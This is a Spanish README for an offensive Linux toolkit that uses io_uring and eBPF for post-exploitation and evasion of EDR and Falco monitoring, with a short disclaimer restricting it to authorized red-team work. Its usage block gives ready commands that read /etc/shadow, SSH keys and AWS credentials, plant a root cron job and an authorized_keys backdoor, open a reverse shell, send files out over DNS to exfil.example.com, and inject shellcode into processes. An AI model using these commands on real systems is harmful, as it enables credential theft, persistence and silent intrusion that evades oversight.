Furtex

Kit de investigación de post-explotación y evasión para Linux, construido alrededor de io_uring y eBPF. Sin liburing, sin frameworks, syscalls puras en todo.

Más herramientas pronto. Los PRs son bienvenidos. 🇧🇷

Únete a Rootkit Researchers

• https://discord.gg/66N5ZQppU7

Solo para investigaciones autorizadas y compromisos de red team. No lo ejecutes en sistemas que no poseas.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

## Requisitos

**Cadena de herramientas**

| herramienta | necesario para |
|---|---|
| `gcc` | todos los binarios de espacio de usuario |
| `clang` | programas del lado BPF `ebpf/*.bpf.c` |
| `make` | sistema de compilación |

**Encabezados y bibliotecas**

| paquete | necesario para |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` y encabezados de kernel relacionados |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` y similares usados en los programas `ebpf/` |
| `bpftool` | generar `vmlinux.h` mediante `make vmlinux` dentro de `ebpf/` |

En Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versiones del kernel

minimum	lo que desbloquea
5.4	base de io_uring (IORING_FEAT_SINGLE_MMAP, iteración de mapas BPF)
5.6	IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8	división de CAP_BPF + CAP_PERFMON (reemplaza a CAP_SYS_ADMIN para BPF)
5.9	BPF_LINK_DETACH (bpf_link_detach)
5.19	IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)

Capacidades

capacidad	herramientas que la requieren
CAP_BPF (o CAP_SYS_ADMIN pre-5.8)	todas las herramientas bpf/, cargadores ebpf/
CAP_PERFMON	programas ebpf/ de tracepoint y kprobe
CAP_NET_RAW	icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMIN	xdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROL	audit_kill

BTF debe estar habilitado en el kernel (CONFIG_DEBUG_INFO_BTF=y) para ejecutar make vmlinux para los programas de ebpf/.

En distribuciones con cabeceras libc-dev más antiguas (Ubuntu 22.04, etc.) puede que necesites #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Ya está cubierto en este repositorio.

Compilación

comando	compila
make all	todo
make uring	solo io_uring/
make bpf	herramientas de espacio de usuario de bpf/
make ebpf	programas del lado de BPF (necesita clang + libbpf)
make edrs	todos los binarios de edrs/
make techniques	herramientas de evasión de Falco
make clean	elimina todos los binarios

edrs/ tiene su propio sub-Makefile con ~75 binarios divididos por privilegio:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) for the full breakdown.

## Cobertura de bypass de io_uring

Los SQEs de io_uring pasan por el workqueue del kernel. `io_uring_enter(2)` nunca llama a través de `sys_call_table`, nunca dispara los tracepoints `sys_enter_*`, y nunca pasa por livepatch en `native_sys_call`. Eso por sí solo elimina una gran clase de hooks de EDR sin tocar nada.

Lo que io_uring evade por sí solo:

| punto de hook | nota |
|---|---|
| reemplazo del puntero de `sys_call_table` | io_uring nunca pasa por la tabla de syscalls |
| livepatch en `native_sys_call` / `compat_sys_call` | la misma razón |
| tracepoints `sys_enter_*` | ruta del workqueue, no se dispara ningún tracepoint |

Lo que io_uring NO evade por sí solo (necesita una herramienta activa):

| punto de hook | herramienta | qué hace la herramienta |
|---|---|---|
| kprobes en `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | elimina los hooks de kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | desconecta el enlace BPF |
| Linux audit | `audit_kill` | desactiva auditd mediante NETLINK_AUDIT |
| parches LD_PRELOAD / PLT-GOT | `plt_unhook` | elimina los hooks de userland |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET en la capa 2, omite netfilter |
| hooks de `inet_stream_connect` | `udp_shell` | usa UDP, nunca llama a la ruta de conexión TCP |

## io_uring/

`iouring_utils.h` se encarga de la configuración del ring sin liburing.

| binario | qué hace |
|---|---|
| `file_read` | cadena OPENAT+READ+CLOSE vía io_uring, sin evento sys_enter_read |
| `file_write` | cadena OPENAT+WRITE+CLOSE |
| `file_append` | igual que file_write pero con O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV en un solo ring |
| `net_reverse_shell` | reverse shell sobre CONNECT de io_uring |
| `multifile_read` | hasta 64 archivos en un lote SQE |
| `memfd_exec` | transmite ELF por stdin hacia memfd, execve vía /proc/self/fd |
| `proc_inject` | inyección JIT vía /proc/PID/mem; inyección ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE de kernel a kernel, los hooks de userspace nunca ven los bytes |
| `inotify_bypass_watch` | el READ de io_uring no genera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica datos en hexadecimal como etiquetas de consulta DNS mediante SENDMSG de io_uring |
| `af_packet_send` | Ethernet crudo vía AF_PACKET (IORING_OP_SOCKET, evade la ruta inet) |
| `xdp_socket_send` | frame crudo vía AF_XDP + ring UMEM, evade netfilter por completo |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

La mayoría de las herramientas requieren CAP_BPF. env_exfil funciona sin privilegios. icmp_trigger requiere CAP_NET_RAW en lugar de CAP_BPF.